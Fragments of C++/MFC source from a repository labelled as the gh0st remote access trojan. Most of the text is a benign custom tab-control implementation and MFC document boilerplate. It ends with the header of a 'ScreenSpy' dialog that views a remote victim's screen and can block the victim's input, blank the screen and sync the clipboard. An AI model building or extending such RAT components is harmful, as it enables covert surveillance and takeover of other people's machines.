m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,rCl.Width()-nCloseOffset-nA-1,rCl.Height(),rCl.Width()-nCloseOffset));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(0,rCl.Width()-nCloseOffset-2*nA-3,rCl.Height(),rCl.Width()-nCloseOffset-nA-1));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(0,rCl.Width()-nCloseOffset-3*nA-2,rCl.Height(),rCl.Width()-nCloseOffset-2*nA-1));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,rCl.Width()-nCloseOffset-4*nA-3,rCl.Height(),rCl.Width()-nCloseOffset-3*nA-2));
}
if(GetStyle()&CTCS_CLOSEBUTTON)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,rCl.Width()-nA-1,rCl.Height(),rCl.Width()));
}
else
{
if(nBtns<4)
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(0,0,0,0));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(nCloseOffset,0,nCloseOffset+nA+1,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(nCloseOffset+nA+1,0,nCloseOffset+2*nA+3,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(0,0,0,0));
}
else
{
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_FIRSTBUTTON,CRect(nCloseOffset,0,nCloseOffset+nA+1,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_PREVBUTTON,CRect(nCloseOffset+nA+1,0,nCloseOffset+2*nA+3,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_NEXTBUTTON,CRect(nCloseOffset+2*nA+1,0,nCloseOffset+3*nA+2,rCl.Height()));
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_LASTBUTTON,CRect(nCloseOffset+3*nA+2,0,nCloseOffset+4*nA+3,rCl.Height()));
}
if(GetStyle()&CTCS_CLOSEBUTTON)
m_ctrlToolTip.SetToolRect(this,(UINT)CTCID_CLOSEBUTTON,CRect(0,0,nA+1,rCl.Height()));
}
}
}
if(m_aItems.GetSize()==0)
return;
nBnWidth = nBtns*nA+3;
if(GetStyle()&CTCS_BUTTONSAFTER)
rCl.right -= nBnWidth;
switch(nRecalcType)
{
case RECALC_CLOSE_PRESSED:
RecalcRectangles();
RecalcOffset(nBnWidth);
break;
case RECALC_FIRST_PRESSED:
{
m_nItemNdxOffset=0;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
break;
case RECALC_PREV_PRESSED:
{
RecalcOffset(nBnWidth);
if(m_nItemNdxOffset>0)
{
m_nItemNdxOffset--;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
}
break;
case RECALC_NEXT_PRESSED:
{
RecalcOffset(nBnWidth);
if(m_aItems[m_aItems.GetSize()-1]->m_rect.right>rCl.Width() && m_nItemNdxOffset!=m_aItems.GetSize()-1)
{
m_nItemNdxOffset++;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
}
break;
case RECALC_ITEM_SELECTED:
{
RecalcOffset(nBnWidth);
if(m_aItems[nItem]->m_bShape==TAB_SHAPE2 || m_aItems[nItem]->m_bShape==TAB_SHAPE3)
{
m_nItemNdxOffset--;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
else
{
while(m_nItemNdxOffset<nItem &&
m_aItems[nItem]->m_bShape==TAB_SHAPE4 &&
m_aItems[nItem]->m_rect.right>rCl.Width() &&
m_aItems[nItem]->m_rect.left>((GetStyle()&CTCS_BUTTONSAFTER)?0:nBnWidth))
{
m_nItemNdxOffset++;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
}
}
break;
case RECALC_EDIT_RESIZED:
{
RecalcOffset(nBnWidth);
RecalcEditResized(nBnWidth,nItem);
}
break;
case RECALC_LAST_PRESSED:
{
m_nItemNdxOffset=m_aItems.GetSize()-1;
}
default: // window resized
{
BOOL bNdxOffsetChanged = FALSE;
RecalcOffset(nBnWidth);
while(m_nItemNdxOffset>=0 && m_aItems[m_aItems.GetSize()-1]->m_rect.right<rCl.Width())
{
m_nItemNdxOffset--;
if(m_nItemNdxOffset>=0)
{
RecalcRectangles();
RecalcOffset(nBnWidth);
}
bNdxOffsetChanged = TRUE;
}
if(bNdxOffsetChanged)
{
m_nItemNdxOffset++;
RecalcRectangles();
RecalcOffset(nBnWidth);
}
}
break;
}
}
void CCustomTabCtrl::RecalcEditResized(int nOffset, int nItem)
{
CRect rCl;
GetClientRect(rCl);
if(GetStyle()&CTCS_BUTTONSAFTER)
rCl.right -= nOffset;
do
{
CRect r;
CDC* pDC = GetDC();
CFont* pOldFont = pDC->SelectObject(&m_FontSelected);
int h = pDC->DrawText(m_aItems[nItem]->m_sText+"X", r, DT_CALCRECT);
pDC->SelectObject(pOldFont);
ReleaseDC(pDC);
r = m_aItems[nItem]->m_rectText;
if(r.Height()>h)
{
r.top += (r.Height()-h)/2;
r.bottom -= (r.Height()-h)/2;
}
r.left += 2;
if(r.right>rCl.right && m_nItemSelected>m_nItemNdxOffset)
{
m_nItemNdxOffset++;
RecalcRectangles();
RecalcOffset(nOffset);
}
else
{
if(r.right>rCl.right)
r.right = rCl.right;
m_ctrlEdit.MoveWindow(r);
int n = m_aItems[nItem]->m_sText.GetLength();
int nStart, nEnd;
m_ctrlEdit.GetSel(nStart,nEnd);
if(nStart==nEnd && nStart==n)
{
m_ctrlEdit.SetSel(0,0);
m_ctrlEdit.SetSel(n,n);
}
return;
}
}
while(1);
}
void CCustomTabCtrl::RecalcOffset(int nOffset)
{
CRect rCl;
GetClientRect(&rCl);
if(IsVertical())
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
int rightAdjusment = 0;
if(GetStyle()&CTCS_BUTTONSAFTER)
{
rightAdjusment = nOffset;
nOffset = 0;
}
for(int i = 0; i<m_aItems.GetSize(); i++)
{
if(i<m_nItemNdxOffset-1)
{
m_aItems[i]->m_bShape = TAB_SHAPE1;
nOffset -= m_aItems[i]->m_rect.Width()-rCl.Height()/2;
m_aItems[i]->m_rectText.SetRectEmpty();
}
else if(i==m_nItemNdxOffset-1)
{
int nBtns = 2;
if(GetStyle()&CTCS_FOURBUTTONS)
nBtns = 4;
if(GetStyle()&CTCS_CLOSEBUTTON)
nBtns++;
int nBnWidth = nBtns*(rCl.Height()-3)+3;
if(i==m_nItemSelected)
m_aItems[i]->m_bShape = TAB_SHAPE2;
else
m_aItems[i]->m_bShape = TAB_SHAPE3;
nOffset -= m_aItems[i]->m_rect.Width()-rCl.Height()/2;
m_aItems[i]->m_rect.SetRect(0,1,rCl.Height()/2,rCl.Height()-1);
if(!(GetStyle()&CTCS_BUTTONSAFTER))
m_aItems[i]->m_rect.OffsetRect(nBnWidth,0);
m_aItems[i]->m_rectText.SetRectEmpty();
}
else
{
if(i==m_nItemSelected)
m_aItems[i]->m_bShape = TAB_SHAPE4;
else if(i==m_aItems.GetSize()-1) // last item
m_aItems[i]->m_bShape = TAB_SHAPE4;
else
m_aItems[i]->m_bShape = TAB_SHAPE5;
m_aItems[i]->m_rect.OffsetRect(nOffset,0);
m_aItems[i]->m_rectText.OffsetRect(nOffset,0);
}
m_aItems[i]->ComputeRgn(GetStyle()&CTCS_TOP);
if(m_ctrlToolTip.m_hWnd)
{
CRect rT = m_aItems[i]->m_rectText;
if(rT.left>=rCl.Width()-rightAdjusment)
rT.SetRect(0,0,0,0);
else if(rT.right>rCl.Width()-rightAdjusment)
rT.right = rCl.right-rightAdjusment;
if(IsVertical())
rT.SetRect(0,rCl.Width()-rT.right,rCl.Height(),rCl.Width()-rT.left);
m_ctrlToolTip.SetToolRect(this,i+1,rT);
}
}
}
int CCustomTabCtrl::RecalcRectangles()
{
CRect rCl;
GetClientRect(&rCl);
if(IsVertical())
rCl.SetRect(0,0,rCl.Height(),rCl.Width());
BOOL fTop = GetStyle()&CTCS_TOP;
int nWidth = 0;
{
// calculate width
int nOffset = 0;
CRect rcText;
CDC* pDC = GetDC();
CFont* pOldFont = pDC->SelectObject(&m_FontSelected);
if(GetStyle()&CTCS_FIXEDWIDTH)
{
int nMaxWidth=0;
int i = 0;
for(i=0; i<m_aItems.GetSize(); i++)
{
int w=0;
int h = pDC->DrawText(m_aItems[i]->m_sText, rcText, DT_CALCRECT);
if(h>0)
w = rcText.Width();
if(w>nMaxWidth)
nMaxWidth = w;
}
for(i=0; i<m_aItems.GetSize(); i++)
{
if(fTop)
{
m_aItems[i]->m_rect = CRect(0,0,nMaxWidth+rCl.Height()+4,rCl.Height()-2);
m_aItems[i]->m_rectText = CRect(rCl.Height()/2,0,nMaxWidth+rCl.Height()/2+4,rCl.Height()-2);
}
else
{
m_aItems[i]->m_rect = CRect(0,1,nMaxWidth+rCl.Height()+4,rCl.Height()-1);
m_aItems[i]->m_rectText = CRect(rCl.Height()/2,1,nMaxWidth+rCl.Height()/2+4,rCl.Height()-1);
}
m_aItems[i]->m_rect += CPoint(nOffset,0);
m_aItems[i]->m_rectText += CPoint(nOffset,0);
nOffset += m_aItems[i]->m_rect.Width()-rCl.Height()/2;
nWidth = m_aItems[i]->m_rect.right;
}
}
else
{
for(int i= 0; i<m_aItems.GetSize(); i++)
{
int w=0;
int h = pDC->DrawText(m_aItems[i]->m_sText, rcText, DT_CALCRECT);
if(h>0)
w = rcText.Width();
if(fTop)
{
m_aItems[i]->m_rect = CRect(0,0,w+rCl.Height()+4,rCl.Height()-2);
m_aItems[i]->m_rectText = CRect(rCl.Height()/2,0,w+rCl.Height()/2+4,rCl.Height()-2);
}
else
{
m_aItems[i]->m_rect = CRect(0,1,w+rCl.Height()+4,rCl.Height()-1);
m_aItems[i]->m_rectText = CRect(rCl.Height()/2,1,w+rCl.Height()/2+4,rCl.Height()-1);
}
m_aItems[i]->m_rect += CPoint(nOffset,0);
m_aItems[i]->m_rectText += CPoint(nOffset,0);
nOffset += m_aItems[i]->m_rect.Width()-rCl.Height()/2;
nWidth = m_aItems[i]->m_rect.right;
}
}
pDC->SelectObject(pOldFont);
ReleaseDC(pDC);
}
return nWidth;
}
BOOL CCustomTabCtrl::PreTranslateMessage(MSG* pMsg)
{
if(GetStyle()&CTCS_TOOLTIPS && m_ctrlToolTip.m_hWnd &&
(pMsg->message==WM_LBUTTONDOWN || pMsg->message==WM_LBUTTONUP || pMsg->message==WM_MOUSEMOVE))
m_ctrlToolTip.RelayEvent(pMsg);
return CWnd::PreTranslateMessage(pMsg);
}
void CCustomTabCtrl::DrawBk(CDC& dc, CRect& r, HBITMAP hBmp, BOOL fIsImageHorLayout, MY_MARGINS& mrgn, int nImageNdx)
{
CDC dcMem;
dcMem.CreateCompatibleDC(&dc);
CBitmap* pBmp = CBitmap::FromHandle(hBmp);
BITMAP bm;
pBmp->GetBitmap(&bm);
CBitmap* pOldBmp = dcMem.SelectObject(pBmp);
if(fIsImageHorLayout)
{
// left-top
dc.BitBlt(r.left,
r.top,
mrgn.cxLeftWidth,
mrgn.cyTopHeight,
&dcMem,
nImageNdx*bm.bmWidth/4,
0,
SRCCOPY);
// right-top
dc.BitBlt(r.right-mrgn.cxRightWidth,
r.top,
mrgn.cxRightWidth,
mrgn.cyTopHeight,
&dcMem,
(nImageNdx+1)*bm.bmWidth/4-mrgn.cxRightWidth,
0,
SRCCOPY);
// left-bottom
dc.BitBlt(r.left,
r.bottom-mrgn.cyBottomHeight,
mrgn.cxLeftWidth,
mrgn.cyBottomHeight,
&dcMem,
nImageNdx*bm.bmWidth/4,
bm.bmHeight-mrgn.cyBottomHeight,
SRCCOPY);
// right-bottom
dc.BitBlt(r.right-mrgn.cxRightWidth,
r.bottom-mrgn.cyBottomHeight,
mrgn.cxRightWidth,
mrgn.cyBottomHeight,
&dcMem,
(nImageNdx+1)*bm.bmWidth/4-mrgn.cxRightWidth,
bm.bmHeight-mrgn.cyBottomHeight,
SRCCOPY);
// middle-top
dc.StretchBlt(r.left+mrgn.cxLeftWidth,
r.top,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyTopHeight,
&dcMem,
nImageNdx*bm.bmWidth/4+mrgn.cxLeftWidth,
0,
bm.bmWidth/4-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyTopHeight,
SRCCOPY);
// middle-bottom
dc.StretchBlt(r.left+mrgn.cxLeftWidth,
r.bottom-mrgn.cyBottomHeight,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyBottomHeight,
&dcMem,
nImageNdx*bm.bmWidth/4+mrgn.cxLeftWidth,
bm.bmHeight-mrgn.cyBottomHeight,
bm.bmWidth/4-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyBottomHeight,
SRCCOPY);
// middle-left
dc.StretchBlt(r.left,
r.top+mrgn.cyTopHeight,
mrgn.cxLeftWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
nImageNdx*bm.bmWidth/4,
mrgn.cyTopHeight,
mrgn.cxLeftWidth,
bm.bmHeight-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
// middle-right
dc.StretchBlt(r.right-mrgn.cxRightWidth,
r.top+mrgn.cyTopHeight,
mrgn.cxRightWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
(nImageNdx+1)*bm.bmWidth/4-mrgn.cxRightWidth,
mrgn.cyTopHeight,
mrgn.cxRightWidth,
bm.bmHeight-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
// middle
dc.StretchBlt(
r.left+mrgn.cxLeftWidth,
r.top+mrgn.cyTopHeight,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
nImageNdx*bm.bmWidth/4 + mrgn.cxLeftWidth,
mrgn.cyTopHeight,
bm.bmWidth/4-mrgn.cxLeftWidth-mrgn.cxRightWidth,
bm.bmHeight-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
}
else
{
// left-top
dc.BitBlt(r.left,
r.top,
mrgn.cxLeftWidth,
mrgn.cyTopHeight,
&dcMem,
0,
nImageNdx*bm.bmHeight/4,
SRCCOPY);
// right-top
dc.BitBlt(r.right-mrgn.cxRightWidth,
r.top,
mrgn.cxRightWidth,
mrgn.cyTopHeight,
&dcMem,
bm.bmWidth-mrgn.cxRightWidth,
nImageNdx*bm.bmHeight/4,
SRCCOPY);
// left-bottom
dc.BitBlt(r.left,
r.bottom-mrgn.cyBottomHeight,
mrgn.cxLeftWidth,
mrgn.cyBottomHeight,
&dcMem,
0,
(nImageNdx+1)*bm.bmHeight/4-mrgn.cyBottomHeight,
SRCCOPY);
// right-bottom
dc.BitBlt(r.right-mrgn.cxRightWidth,
r.bottom-mrgn.cyBottomHeight,
mrgn.cxRightWidth,
mrgn.cyBottomHeight,
&dcMem,
bm.bmWidth-mrgn.cxRightWidth,
(nImageNdx+1)*bm.bmHeight/4-mrgn.cyBottomHeight,
SRCCOPY);
// middle-top
dc.StretchBlt(r.left+mrgn.cxLeftWidth,
r.top,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyTopHeight,
&dcMem,
mrgn.cxLeftWidth,
nImageNdx*bm.bmHeight/4,
bm.bmWidth-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyTopHeight,
SRCCOPY);
// middle-bottom
dc.StretchBlt(r.left+mrgn.cxLeftWidth,
r.bottom-mrgn.cyBottomHeight,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyBottomHeight,
&dcMem,
mrgn.cxLeftWidth,
(nImageNdx+1)*bm.bmHeight/4-mrgn.cyBottomHeight,
bm.bmWidth-mrgn.cxLeftWidth-mrgn.cxRightWidth,
mrgn.cyBottomHeight,
SRCCOPY);
// middle-left
dc.StretchBlt(r.left,
r.top+mrgn.cyTopHeight,
mrgn.cxLeftWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
0,
nImageNdx*bm.bmHeight/4+mrgn.cyTopHeight,
mrgn.cxLeftWidth,
bm.bmHeight/4-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
// middle-right
dc.StretchBlt(r.right-mrgn.cxRightWidth,
r.top+mrgn.cyTopHeight,
mrgn.cxRightWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
bm.bmWidth-mrgn.cxRightWidth,
nImageNdx*bm.bmHeight/4+mrgn.cyTopHeight,
mrgn.cxRightWidth,
bm.bmHeight/4-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
// middle
dc.StretchBlt(
r.left+mrgn.cxLeftWidth,
r.top+mrgn.cyTopHeight,
r.Width()-mrgn.cxLeftWidth-mrgn.cxRightWidth,
r.Height()-mrgn.cyTopHeight-mrgn.cyBottomHeight,
&dcMem,
mrgn.cxLeftWidth,
nImageNdx*bm.bmHeight/4+mrgn.cyTopHeight,
bm.bmWidth-mrgn.cxLeftWidth-mrgn.cxRightWidth,
bm.bmHeight/4-mrgn.cyTopHeight-mrgn.cyBottomHeight,
SRCCOPY);
}
dcMem.SelectObject(pOldBmp);
}
void CCustomTabCtrl::DrawGlyph(CDC& dc, CPoint& pt, int nImageNdx, int nColorNdx)
{
CDC dcMem, dcMemMono;
dcMem.CreateCompatibleDC(&dc);
dcMemMono.CreateCompatibleDC(&dc);
CBitmap* pOldBmpGlyphMono = dcMemMono.SelectObject(&m_bmpGlyphsMono);
CBitmap bmpGlyphColor;
bmpGlyphColor.CreateCompatibleBitmap(&dc,8,7);
CBitmap* pOldBmpGlyphColor = dcMem.SelectObject(&bmpGlyphColor);
COLORREF rgbOldTextGlyph = dcMem.SetTextColor(m_rgbGlyph[nColorNdx]);
dcMem.BitBlt(0, 0, 8, 7, &dcMemMono, nImageNdx*8, 0, SRCCOPY);
dcMem.SetTextColor(rgbOldTextGlyph);
COLORREF rgbOldBk = dc.SetBkColor(RGB(255,255,255));
COLORREF rgbOldText = dc.SetTextColor(RGB(0,0,0));
dc.BitBlt(pt.x, pt.y, 8, 7, &dcMem, 0, 0, SRCINVERT);
dc.BitBlt(pt.x, pt.y, 8, 7, &dcMemMono, nImageNdx*8, 0, SRCAND);
dc.BitBlt(pt.x, pt.y, 8, 7, &dcMem, 0, 0, SRCINVERT);
dcMem.SelectObject(pOldBmpGlyphColor);
dcMemMono.SelectObject(pOldBmpGlyphMono);
dc.SetBkColor(rgbOldBk);
dc.SetTextColor(rgbOldText);
}
BOOL CCustomTabCtrl::ModifyStyle(DWORD dwRemove, DWORD dwAdd, UINT nFlags)
{
if(dwRemove&CTCS_TOOLTIPS)
m_ctrlToolTip.DestroyWindow();
if(dwRemove&CTCS_MULTIHIGHLIGHT)
{
for(int i=0;i<m_aItems.GetSize();i++)
m_aItems[i]->m_fHighlighted = FALSE;
}
if(dwAdd&CTCS_MULTIHIGHLIGHT)
{
for(int i=0;i<m_aItems.GetSize();i++)
{
if(i==m_nItemSelected)
m_aItems[i]->m_fHighlighted = TRUE;
}
}
CWnd::ModifyStyle(dwRemove,dwAdd,nFlags);
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return TRUE;
}
BOOL CCustomTabCtrl::ModifyStyleEx(DWORD dwRemove, DWORD dwAdd, UINT nFlags)
{
CWnd::ModifyStyleEx(dwRemove,dwAdd,nFlags);
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return TRUE;
}
void CCustomTabCtrl::PreSubclassWindow()
{
OnThemeChanged(0,0);
CWnd::ModifyStyle(0,WS_CLIPCHILDREN);
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
CWnd::PreSubclassWindow();
}
void CCustomTabCtrl::SetDragCursors(HCURSOR hCursorMove, HCURSOR hCursorCopy)
{
::DestroyCursor(m_hCursorMove);
m_hCursorMove = NULL;
::DestroyCursor(m_hCursorCopy);
m_hCursorCopy = NULL;
m_hCursorMove = CopyCursor(hCursorMove);
m_hCursorCopy = CopyCursor(hCursorCopy);
}
void CCustomTabCtrl::OnRButtonDown(UINT nFlags, CPoint point)
{
NotifyParent(CTCN_RCLICK,HitTest(point),point);
CWnd::OnRButtonDown(nFlags, point);
}
void CCustomTabCtrl::OnRButtonDblClk(UINT nFlags, CPoint point)
{
NotifyParent(CTCN_RDBLCLK,HitTest(point),point);
CWnd::OnRButtonDblClk(nFlags, point);
}
int CCustomTabCtrl::EditLabel(int nItem)
{
return EditLabel(nItem, FALSE);
}
int CCustomTabCtrl::EditLabel(int nItem, BOOL fMouseSel)
{
if(nItem<0 || nItem>=m_aItems.GetSize())
return CTCERR_INDEXOUTOFRANGE;
if(!(GetStyle()&CTCS_EDITLABELS))
return CTCERR_NOEDITLABELSTYLE;
if(nItem!=m_nItemSelected)
return CTCERR_ITEMNOTSELECTED;
if(m_ctrlEdit.m_hWnd)
return CTCERR_ALREADYINEDITMODE;
if(IsVertical())
return CTCERR_EDITNOTSUPPORTED;
try
{
CRect r;
CDC* pDC = GetDC();
CFont* pOldFont = pDC->SelectObject(&m_FontSelected);
int h = pDC->DrawText(m_aItems[nItem]->m_sText, r, DT_CALCRECT);
pDC->SelectObject(pOldFont);
ReleaseDC(pDC);
r = m_aItems[nItem]->m_rectText;
if(r.Height()>h)
{
r.top += (r.Height()-h)/2;
r.bottom -= (r.Height()-h)/2;
}
r.left += 2;
if(m_ctrlEdit.Create(WS_CHILD|WS_VISIBLE|ES_AUTOHSCROLL,r,this,CTCID_EDITCTRL))
{
CString sOld = m_aItems[nItem]->m_sText;
m_ctrlEdit.SetFont(&m_FontSelected,FALSE);
m_ctrlEdit.SetLimitText(MAX_LABEL_TEXT);
m_ctrlEdit.SetWindowText(m_aItems[nItem]->m_sText);
m_ctrlEdit.SetFocus();
m_ctrlEdit.SetSel(0,-1);
if(fMouseSel)
ReleaseCapture();
for (;;)
{
MSG msg;
::GetMessage(&msg, NULL, 0, 0);
switch (msg.message)
{
case WM_SYSKEYDOWN:
{
if(msg.wParam == VK_F4 && msg.lParam&29)
break;
TranslateMessage(&msg);
DispatchMessage(&msg);
}
break;
case WM_KEYDOWN:
{
if (msg.wParam == VK_ESCAPE)
{
m_aItems[nItem]->m_sText = sOld;
m_ctrlEdit.DestroyWindow();
RecalcLayout(RECALC_RESIZED,m_nItemSelected);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
if(msg.wParam == VK_RETURN)
{
if(NotifyParent(CTCN_LABELUPDATE,nItem,CPoint(0,0)))
break;
m_ctrlEdit.GetWindowText(m_aItems[nItem]->m_sText);
m_ctrlEdit.DestroyWindow();
RecalcLayout(RECALC_RESIZED,nItem);
Invalidate(FALSE);
return CTCERR_NOERROR;
}
TranslateMessage(&msg);
DispatchMessage(&msg);
}
break;
case WM_LBUTTONDOWN:
{
if(msg.hwnd==m_hWnd)
{
POINTS pt = MAKEPOINTS(msg.lParam);
if(HitTest(CPoint(pt.x,pt.y))!=m_nItemSelected)
{
if(NotifyParent(CTCN_LABELUPDATE,nItem,CPoint(0,0)))
break;
m_ctrlEdit.GetWindowText(m_aItems[m_nItemSelected]->m_sText);
m_ctrlEdit.DestroyWindow();
TranslateMessage(&msg);
DispatchMessage(&msg);
return CTCERR_NOERROR;
}
}
else if(msg.hwnd==m_ctrlEdit.m_hWnd)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
else
{
if(NotifyParent(CTCN_LABELUPDATE,nItem,CPoint(0,0)))
break;
m_ctrlEdit.GetWindowText(m_aItems[m_nItemSelected]->m_sText);
m_ctrlEdit.DestroyWindow();
return CTCERR_NOERROR;
}
}
break;
case WM_LBUTTONUP:
{
if(msg.hwnd==m_ctrlEdit.m_hWnd)
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
break;
case WM_NCLBUTTONDOWN:
{
if(NotifyParent(CTCN_LABELUPDATE,nItem,CPoint(0,0)))
break;
m_ctrlEdit.GetWindowText(m_aItems[m_nItemSelected]->m_sText);
m_ctrlEdit.DestroyWindow();
TranslateMessage(&msg);
DispatchMessage(&msg);
return CTCERR_NOERROR;
}
break;
case WM_LBUTTONDBLCLK:
case WM_RBUTTONDOWN:
case WM_RBUTTONUP:
break;
default:
TranslateMessage(&msg);
DispatchMessage(&msg);
break;
}
}
}
}
catch(CMemoryException* e)
{
e->Delete();
if(fMouseSel)
NotifyParent(CTCN_OUTOFMEMORY,nItem,CPoint(0,0));
return CTCERR_OUTOFMEMORY;
}
return CTCERR_NOERROR;
}
| 07321-rat | trunk/gh0st/CustomTabCtrl.cpp | C++ | asf20 | 79,463 |
// gh0stDoc.cpp : implementation of the CGh0stDoc class
//
#include "stdafx.h"
#include "gh0st.h"
#include "gh0stDoc.h"
#include "MainFrm.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif
/////////////////////////////////////////////////////////////////////////////
// CGh0stDoc
IMPLEMENT_DYNCREATE(CGh0stDoc, CDocument)
BEGIN_MESSAGE_MAP(CGh0stDoc, CDocument)
//{{AFX_MSG_MAP(CGh0stDoc)
// NOTE - the ClassWizard will add and remove mapping macros here.
// DO NOT EDIT what you see in these blocks of generated code!
//}}AFX_MSG_MAP
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
// CGh0stDoc construction/destruction
CGh0stDoc::CGh0stDoc()
{
// TODO: add one-time construction code here
}
CGh0stDoc::~CGh0stDoc()
{
}
//DEL BOOL CGh0stDoc::OnNewDocument()
//DEL {
//DEL if (!CDocument::OnNewDocument())
//DEL return FALSE;
//DEL
//DEL // TODO: add reinitialization code here
//DEL // (SDI documents will reuse this document)
//DEL return TRUE;
//DEL }
/////////////////////////////////////////////////////////////////////////////
// CGh0stDoc serialization
void CGh0stDoc::Serialize(CArchive& ar)
{
if (ar.IsStoring())
{
// TODO: add storing code here
}
else
{
// TODO: add loading code here
}
}
/////////////////////////////////////////////////////////////////////////////
// CGh0stDoc diagnostics
#ifdef _DEBUG
void CGh0stDoc::AssertValid() const
{
CDocument::AssertValid();
}
void CGh0stDoc::Dump(CDumpContext& dc) const
{
CDocument::Dump(dc);
}
#endif //_DEBUG
/////////////////////////////////////////////////////////////////////////////
// CGh0stDoc commands
void CGh0stDoc::DeleteContents()
{
// TODO: Add your specialized code here and/or call the base class
if(AfxGetApp()->m_pMainWnd)
((CMainFrame*)AfxGetApp()->m_pMainWnd)->DeleteContents();
CDocument::DeleteContents();
}
| 07321-rat | trunk/gh0st/gh0stDoc.cpp | C++ | asf20 | 2,030 |
#if !defined(AFX_SCREENSPYDLG_H__8C27AA31_1C2A_428A_A937_BC00F2519DB1__INCLUDED_)
#define AFX_SCREENSPYDLG_H__8C27AA31_1C2A_428A_A937_BC00F2519DB1__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// ScreenSpyDlg.h : header file
//
/////////////////////////////////////////////////////////////////////////////
// CScreenSpyDlg dialog
class CScreenSpyDlg : public CDialog
{
// Construction
public:
void OnReceiveComplete();
CScreenSpyDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // standard constructor
// Dialog Data
//{{AFX_DATA(CScreenSpyDlg)
enum { IDD = IDD_SCREENSPY };
// NOTE: the ClassWizard will add data members here
//}}AFX_DATA
// Overrides
// ClassWizard generated virtual function overrides
//{{AFX_VIRTUAL(CScreenSpyDlg)
public:
virtual BOOL PreTranslateMessage(MSG* pMsg);
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV support
virtual void PostNcDestroy();
//}}AFX_VIRTUAL
// Implementation
protected:
// Generated message map functions
//{{AFX_MSG(CScreenSpyDlg)
virtual BOOL OnInitDialog();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
afx_msg void OnPaint();
afx_msg void OnSize(UINT nType, int cx, int cy);
afx_msg void OnClose();
afx_msg void OnTimer(UINT nIDEvent);
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
afx_msg void OnVScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar);
//}}AFX_MSG
DECLARE_MESSAGE_MAP()
private:
HICON m_hIcon;
void InitMMI();
MINMAXINFO m_MMI;
void DrawTipString(CString str);
HDRAWDIB m_hDD;
HDC m_hDC, m_hMemDC, m_hPaintDC;
HBITMAP m_hFullBitmap;
LPVOID m_lpScreenDIB;
LPBITMAPINFO m_lpbmi, m_lpbmi_rect;
UINT m_nCount;
UINT m_HScrollPos, m_VScrollPos;
HCURSOR m_hRemoteCursor;
ICONINFO m_CursorInfo;
POINT m_RemoteCursorPos;
void ResetScreen();
void DrawFirstScreen();
void DrawNextScreen();
void SendResetScreen(int nBitCount);
void UpdateLocalClipboard(char *buf, int len);
void SendLocalClipboard();
int m_nBitCount;
bool m_bIsFirst;
bool m_bIsTraceCursor;
bool m_bIsBlockInput;
bool m_bIsBlankScreen;
ClientContext* m_pContext;
CIOCPServer* m_iocpServer;
CString m_IPAddress;
bool m_bIsCtrl;
void SendNext();
void SendCommand(DWORD dwCtrlID, BOOL bMove, int x, int y, UINT uChar = 0, UINT nFlags = 0);
LRESULT OnGetMiniMaxInfo(WPARAM, LPARAM);
};
//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.
